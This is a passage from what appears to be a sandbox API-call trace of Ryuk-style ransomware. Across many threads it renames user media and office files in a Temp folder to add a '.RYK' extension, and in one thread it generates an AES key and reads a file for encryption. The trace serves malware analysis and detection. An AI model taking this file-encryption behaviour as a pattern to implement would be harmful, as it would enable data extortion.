v02bb-yyjax.ppt.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2878
	os_tid = 0x3300

	[0249.944] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\qz-EhFMmP0nfJPHKxYa.mp3", dwFileAttributes=0x80) returned 0
	[0249.944] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\qz-EhFMmP0nfJPHKxYa.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\qz-ehfmmp0nfjphkxya.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.944] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.944] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\qz-EhFMmP0nfJPHKxYa.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\qz-ehfmmp0nfjphkxya.mp3"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\qz-EhFMmP0nfJPHKxYa.mp3.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\qz-ehfmmp0nfjphkxya.mp3.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2879
	os_tid = 0x3304

	[0249.946] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\rUJZ.gif", dwFileAttributes=0x80) returned 0
	[0249.946] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\rUJZ.gif" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\rujz.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.946] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.947] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\rUJZ.gif" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\rujz.gif"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\rUJZ.gif.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\rujz.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2880
	os_tid = 0x3308

	[0249.948] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\s-gmsn.mkv", dwFileAttributes=0x80) returned 0
	[0249.948] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\s-gmsn.mkv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\s-gmsn.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.948] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.948] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\s-gmsn.mkv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\s-gmsn.mkv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\s-gmsn.mkv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\s-gmsn.mkv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2881
	os_tid = 0x330c

	[0249.949] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\suL76PCDpBtAV.mp4", dwFileAttributes=0x80) returned 0
	[0249.949] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\suL76PCDpBtAV.mp4" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\sul76pcdpbtav.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.949] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.950] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\suL76PCDpBtAV.mp4" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\sul76pcdpbtav.mp4"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\suL76PCDpBtAV.mp4.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\sul76pcdpbtav.mp4.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2882
	os_tid = 0x3310

	[0249.951] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ta8_Kc.bmp", dwFileAttributes=0x80) returned 0
	[0249.951] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ta8_Kc.bmp" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ta8_kc.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.951] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.951] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ta8_Kc.bmp" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ta8_kc.bmp"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ta8_Kc.bmp.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ta8_kc.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2883
	os_tid = 0x3314

	[0250.149] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\tEz6zz54a3QKe1jYs.mp3", dwFileAttributes=0x80) returned 0
	[0250.149] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\tEz6zz54a3QKe1jYs.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\tez6zz54a3qke1jys.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.149] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.149] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\tEz6zz54a3QKe1jYs.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\tez6zz54a3qke1jys.mp3"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\tEz6zz54a3QKe1jYs.mp3.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\tez6zz54a3qke1jys.mp3.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2911
	os_tid = 0x3384

	[0250.150] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\uJdarKwGlT5w5zNqc7M.jpg", dwFileAttributes=0x80) returned 0
	[0250.150] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\uJdarKwGlT5w5zNqc7M.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ujdarkwglt5w5znqc7m.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.150] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.151] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\uJdarKwGlT5w5zNqc7M.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ujdarkwglt5w5znqc7m.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\uJdarKwGlT5w5zNqc7M.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ujdarkwglt5w5znqc7m.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2912
	os_tid = 0x3388

	[0250.152] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\uw8kRfAIZafm8JjQ.avi", dwFileAttributes=0x80) returned 0
	[0250.152] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\uw8kRfAIZafm8JjQ.avi" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\uw8krfaizafm8jjq.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.152] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.152] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\uw8kRfAIZafm8JjQ.avi" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\uw8krfaizafm8jjq.avi"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\uw8kRfAIZafm8JjQ.avi.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\uw8krfaizafm8jjq.avi.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2913
	os_tid = 0x338c

	[0250.153] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Y2djYuhT3xjlKZ3r.ppt", dwFileAttributes=0x80) returned 0
	[0250.153] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Y2djYuhT3xjlKZ3r.ppt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\y2djyuht3xjlkz3r.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.153] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.153] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Y2djYuhT3xjlKZ3r.ppt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\y2djyuht3xjlkz3r.ppt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Y2djYuhT3xjlKZ3r.ppt.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\y2djyuht3xjlkz3r.ppt.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2914
	os_tid = 0x3390

	[0250.154] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\yLt4USz55bOIOOEbZn.wav", dwFileAttributes=0x80) returned 0
	[0250.154] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\yLt4USz55bOIOOEbZn.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ylt4usz55boiooebzn.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.155] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.155] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\yLt4USz55bOIOOEbZn.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ylt4usz55boiooebzn.wav"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\yLt4USz55bOIOOEbZn.wav.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ylt4usz55boiooebzn.wav.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2915
	os_tid = 0x3394

	[0250.156] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\ylwNSYMrPkhmeWLV4xtt.mkv", dwFileAttributes=0x80) returned 0
	[0250.156] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\ylwNSYMrPkhmeWLV4xtt.mkv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ylwnsymrpkhmewlv4xtt.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.156] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.156] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\ylwNSYMrPkhmeWLV4xtt.mkv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ylwnsymrpkhmewlv4xtt.mkv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\ylwNSYMrPkhmeWLV4xtt.mkv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ylwnsymrpkhmewlv4xtt.mkv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2916
	os_tid = 0x3398

	[0250.157] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\_B66Lv3zO7vtubgGITA.odt", dwFileAttributes=0x80) returned 0
	[0250.157] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\_B66Lv3zO7vtubgGITA.odt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\_b66lv3zo7vtubggita.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.157] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.157] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\_B66Lv3zO7vtubgGITA.odt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\_b66lv3zo7vtubggita.odt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\_B66Lv3zO7vtubgGITA.odt.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\_b66lv3zo7vtubggita.odt.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2917
	os_tid = 0x339c

	[0250.395] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDIPFONTCACHEV1.DAT", dwFileAttributes=0x80) returned 1
	[0250.396] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDIPFONTCACHEV1.DAT" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\gdipfontcachev1.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4c4
	[0250.396] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x94ffa38 | out: lpFileSize=0x94ffa38*=108824) returned 1
	[0250.397] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x94ffa48 | out: lpFileSize=0x94ffa48*=108824) returned 1
	[0250.397] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x1a7f6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0250.397] ReadFile (in: hFile=0x4c4, lpBuffer=0x94ffa90, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x94ffa00, lpOverlapped=0x0 | out: lpBuffer=0x94ffa90*, lpNumberOfBytesRead=0x94ffa00*=0x19, lpOverlapped=0x0) returned 1
	[0250.399] SetFilePointer (in: hFile=0x4c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0250.400] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x94ffa18 | out: phKey=0x94ffa18*=0x3f7e00) returned 1
	[0250.400] SetFilePointer (in: hFile=0x4c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0250.400] ReadFile (in: hFile=0x4c4, lpBuffer=0x3480000, nNumberOfBytesToRead=0x1a918, lpNumberOfBytesRead=0x94ffa24, lpOverlapped=0x0 | out: lpBuffer=0x3480000*, lpNumberOfBytesRead=0x94ffa24*=0x1a918, lpOverlapped=0x0) returned 1
